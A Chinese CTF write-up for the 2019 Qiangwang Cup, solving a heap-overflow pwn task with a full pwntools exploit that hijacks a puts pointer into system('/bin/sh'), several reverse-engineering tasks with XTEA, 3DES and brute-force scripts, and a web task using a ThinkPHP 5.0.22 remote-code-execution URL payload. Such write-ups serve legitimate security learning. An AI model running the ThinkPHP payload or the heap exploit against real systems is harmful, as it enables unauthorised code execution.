2019强网杯部分writeup
在去年被强网杯打自闭的本菜鸡又回来了,这次的体验还可以,没那么自闭,最后队伍也是进了前100,本人也是划了一个证书,23333
这里就拿交上去的WP代替了,懒。。。。2333
0x00 签到题
签到题,打开得到flag。
0x01 强网先锋_AP
下载bin,流程还是比较清晰的,就是一个卖票系统。Get函数是输入自己的名字,Open函数是对自己的名字进行输出,Change函数是修改名字,huangniu函数嘛,,,不说了。
进入Get函数可以看到,每次Get函数调用之前都会先创建一个堆,堆里边存放的是name的地址和puts函数的地址。
分析open函数,可以看到是对堆中存放的puts函数的地址进行调用,参数为name的地址
分析Change函数,这里的长度是任意的,read函数可以造成溢出
稍微用gdb调试一下来验证,可以看到确实如此(这里没有去故意造成溢出,只是验证猜想)
检查一下开启的保护,这里开启了ASLR,需要绕过
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
整理下思路吧,首先溢出到下个chunk去修改name的地址,修改为指向puts的地址,由于偏移不变,只需要覆盖一个字节就好,leak出puts的地址确认libc版本并找到system
函数的地址。再次溢出修改单字节得到ASLR基址,三次溢出修改name地址为/bin/sh
,修改puts函数地址为system函数地址。
给出exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('task_main')
libc = ELF('libc-2.23_x64.so')
p = remote('49.4.23.26','31529')
#gdb.attach(p)
def get(length,name):
p.recvuntil('Choice >>')
p.sendline('1')
p.recvuntil('s name:')
p.sendline(str(length))
p.recvuntil('s name:')
p.sendline(name)
def open1(index):
p.recvuntil('Choice >>')
p.sendline('2')
p.recvuntil('open?')
p.sendline(str(index))
def change(index,new_length,new_name):
p.recvuntil('Choice >>')
p.sendline('3')
p.recvuntil('name?')
p.sendline(str(index))
p.recvuntil('name:')
p.sendline(str(new_length))
p.recvuntil('name:')
p.send(new_name)
get(16,'/bin/sh')
get(16,'bbbb')
payload = 'a'*16+p64(0)+p64(0x21)+'\x18'
change(0,48,payload)
open1(1)
p.recvuntil('owner!\n')
puts_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print 'puts_addr: '+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print 'libc_base: '+hex(libc_base)
print 'system_addr: '+hex(system_addr)
payload2 = 'a'*16+p64(0)+p64(0x21)+'\x10'
change(0,48,payload2)
open1(1)
p.recvuntil('owner!\n')
aslr_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x30
print 'aslr_base: '+hex(aslr_base)
binsh_addr = aslr_base+0x30
print 'binsh_addr: '+hex(binsh_addr)
payload3 = ('/bin/sh\x00'.ljust(16,'a'))+p64(0)+p64(0x21)+p64(binsh_addr)+p64(system_addr)
change(0,56,payload3)
open1(1)
p.interactive()
0x02 强网先锋_AD
下载bin,载入IDA,F5
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char v4[128]; // [sp+0h] [bp-150h]@1
char v5; // [sp+80h] [bp-D0h]@1
char v6; // [sp+81h] [bp-CFh]@1
char v7; // [sp+82h] [bp-CEh]@1
char v8; // [sp+83h] [bp-CDh]@1
char v9; // [sp+84h] [bp-CCh]@1
char v10; // [sp+85h] [bp-CBh]@1
char v11; // [sp+86h] [bp-CAh]@1
char v12; // [sp+87h] [bp-C9h]@1
char v13; // [sp+88h] [bp-C8h]@1
char v14; // [sp+89h] [bp-C7h]@1
char v15; // [sp+8Ah] [bp-C6h]@1
char v16; // [sp+8Bh] [bp-C5h]@1
char v17; // [sp+8Ch] [bp-C4h]@1
char v18; // [sp+8Dh] [bp-C3h]@1
char v19; // [sp+8Eh] [bp-C2h]@1
char v20; // [sp+8Fh] [bp-C1h]@1
char v21; // [sp+90h] [bp-C0h]@1
char v22; // [sp+91h] [bp-BFh]@1
char v23; // [sp+92h] [bp-BEh]@1
char v24; // [sp+93h] [bp-BDh]@1
char v25; // [sp+94h] [bp-BCh]@1
char v26; // [sp+95h] [bp-BBh]@1
char v27; // [sp+96h] [bp-BAh]@1
char v28; // [sp+97h] [bp-B9h]@1
char v29; // [sp+98h] [bp-B8h]@1
char v30; // [sp+99h] [bp-B7h]@1
char v31; // [sp+9Ah] [bp-B6h]@1
char v32; // [sp+9Bh] [bp-B5h]@1
char v33; // [sp+9Ch] [bp-B4h]@1
char v34; // [sp+9Dh] [bp-B3h]@1
char v35; // [sp+9Eh] [bp-B2h]@1
char v36; // [sp+9Fh] [bp-B1h]@1
char v37; // [sp+A0h] [bp-B0h]@1
char v38; // [sp+A1h] [bp-AFh]@1
char v39; // [sp+A2h] [bp-AEh]@1
char v40; // [sp+A3h] [bp-ADh]@1
__int64 v41; // [sp+B0h] [bp-A0h]@1
__int64 v42; // [sp+B8h] [bp-98h]@1
__int64 v43; // [sp+C0h] [bp-90h]@1
__int16 v44; // [sp+C8h] [bp-88h]@1
char v45; // [sp+D0h] [bp-80h]@1
char *v46; // [sp+140h] [bp-10h]@1
int i; // [sp+14Ch] [bp-4h]@1
puts("=== Strong Network Pioneer === \n\n");
__isoc99_scanf("%s", &v45);
v41 = 7953769703030221169LL;
v42 = 7954876941086586983LL;
v43 = 7956005061827062375LL;
v44 = 105;
v5 = 90;
v6 = 109;
v7 = 120;
v8 = 104;
v9 = 90;
v10 = 51;
v11 = 116;
v12 = 116;
v13 = 89;
v14 = 87;
v15 = 90;
v16 = 104;
v17 = 97;
v18 = 51;
v19 = 86;
v20 = 104;
v21 = 97;
v22 = 87;
v23 = 120;
v24 = 104;
v25 = 97;
v26 = 88;
v27 = 70;
v28 = 112;
v29 = 89;
v30 = 87;
v31 = 53;
v32 = 107;
v33 = 89;
v34 = 87;
v35 = 57;
v36 = 105;
v37 = 102;
v38 = 81;
v39 = 61;
v40 = 61;
v46 = &v45;
sub_4005B7(&v45, (__int64)v4);
for ( i = 0; i <= 44; ++i )
{
if ( v4[i] != (unsigned __int8)*(&v5 + i) )
{
puts("you're not\n");
return 0LL;
}
}
puts("yes, you are!\n");
return 0LL;
}
分析4005B7,明显的base64,然后与v5做比较,直接v5中的base64解码就可得到flag。
flag{mafakuailaiqiandaob}
0x03 JustRE
载入IDA,交叉引用到关键地址。
int sub_401BD0()
{
int result; // eax@3
char v1; // [sp+4h] [bp-68h]@1
puts(" # ###### ");
puts(" # # # #### ##### # # ###### ");
puts(" # # # # # # # # ");
puts(" # # # #### # ###### ##### ");
puts("# # # # # # # # # ");
puts("# # # # # # # # # # ");
puts(" ##### #### #### # # # ###### ");
sub_401CE0("%s", (unsigned int)&v1);
if ( sub_401610(&v1) && sub_4018A0(&v1) )
{
puts("congrats!");
sub_401CA0("flag{%.26s}\n\n", (unsigned int)&v1);
result = 0;
}
else
{
puts("sorry..");
result = 0;
}
return result;
}
可以看到需要过两个验证,401610和4018a0
这里篇幅太长,就不做详细赘述了,大致算法就是401610函数中首先先将输入hex,然后进行一系列的浮点运算,最后与只读数据段的一段数据作比较。
上图就是正确的数据,405018最终存放的就是输入经过运算以后的数据,405018和404148做比较。(类似SMC)
这里我是写脚本直接爆破的,时间也不是很长。
# -*- coding: utf-8 -*-
from tqdm import tqdm
table = '0123456789'
for i1 in tqdm(table):
for i2 in tqdm(table):
for i3 in table:
for i4 in table:
for i5 in table:
for i6 in table:
for i7 in table:
for i8 in table:
for i9 in table:
for i10 in table:
tmp = i1+i2+i3+i4+i5+i6+i7+i8
ReR = int(tmp,16)+0x3
ReL = int((i9 + i10)*4,16)+0x3A5B0D91
ReR = ReR & 0xffffffff
ReL = ReL & 0xffffffff
if ReR^ReL == 0x405004A1:
ReL = int((i9+i10)*4,16)+0xFA0B0759
ReR = int(tmp,16)+0x2
ReL = ReL & 0xffffffff
ReR = ReR & 0xffffffff
if ReL^ReR == 0x00000278:
print tmp+i9+i10
print 'success'
爆破结果:
得到前半段flag,后半段需要动态调试,动态调试之后发现是3DES算法。直接上脚本
import pyDes
cipher = '507ca9e68709cefa20d50dcf90bb976c9090f6b07ba6a4e8'.decode('hex')
key = 'AFSAFCEDYCXCXACNDFKDCQXC'
k = pyDes.triple_des(key,pyDes.ECB,None,pad=None,padmode=pyDes.PAD_PKCS5)
d = k.decrypt(cipher)
print d
输入验证
0x04 webassembly
web汇编,这次也算是解开新的困惑了。
首先得撘一个www服务器吧,因为chrome只能执行http和https下的wasm。不然会疯狂报错。。。
直接用chrome浏览器F12动态调试。具体指令可以上网查询。
用wabt
反编译一下可以看到func16是main函数,调试之后知道15是验证和加密函数。分析得出flag为38位,前32位分四组进行xtea加密,后六位直接存入内存,最后异或求和,求和为0时通过验证。
这里给出关键异或部分
脚本:
main.py
# -*- coding: utf-8 -*-
import xtea
tmp = [32,67,111,-67,115,-23,-90,-36,-85,40,-28,109,-105,-55,74,-128,-7,70,111,113,25,-115,19,-104,-57,22,37,60,-99,107,-14,-70,102,55,57,48,53,125]
for i in range(len(tmp)):
tmp[i] = tmp[i] & 0xff
cipher = []
k = [0,0,0,0]
r = 32
for i in range(0,len(tmp)-9,4):
tmp_cipher = tmp[i]<<0
tmp_cipher = tmp_cipher | (tmp[i+1]<<8)
tmp_cipher = tmp_cipher | (tmp[i+2]<<16)
tmp_cipher = tmp_cipher | (tmp[i+3]<<24)
cipher.append(tmp_cipher)
flag = ''
for i in range(0,len(cipher),2):
v = []
v.append(cipher[i])
v.append(cipher[i+1])
xtea.decrypt(r,v,k)
#print v
for j in range(0,len(v)):
flag += hex(v[j])[2:-1].decode('hex')[::-1]
for i in range(len(tmp)-6,len(tmp)):
flag += chr(tmp[i])
print flag
xtea.py
def encrypt(rounds,v,key):
v0 = v[0]
v1 = v[1]
sum = 0
delta = 0x9e3779b9
for i in range(rounds):
v0 += (((v1<<4) ^ (v1>>5)) + v1) ^ (sum + key[sum & 3])
v0 = v0 & 0xffffffff
sum += delta
sum = sum & 0xffffffff
v1 += (((v0<<4) ^ (v0>>5)) + v0) ^ (sum + key[(sum>>11)&3])
v1 = v1 & 0xffffffff
#print hex(v0),hex(v1)
v[0] = v0
v[1] = v1
#print sum
def decrypt(rounds,v,key):
v0 = v[0]
v1 = v[1]
delta = 0x9e3779b9
sum = delta*rounds
sum = sum & 0xffffffff
for i in range(rounds):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3])
v1 = v1 & 0xffffffff
sum -= delta
sum = sum & 0xffffffff
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3])
v0 = v0 & 0xffffffff
v[0] = v0
v[1] = v1
flag:
0x05 强网先锋_上单(队友做的)
打开题目,发现是一个THINKPHP5.0.22 的站,网上找到这个版本的远程代码执行漏洞,直接通过这个漏洞读取到服务器上的flag文件
给出payload:
http://49.4.23.26:30080/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../../../flag
这里markdown转pdf有点儿问题,在写下payload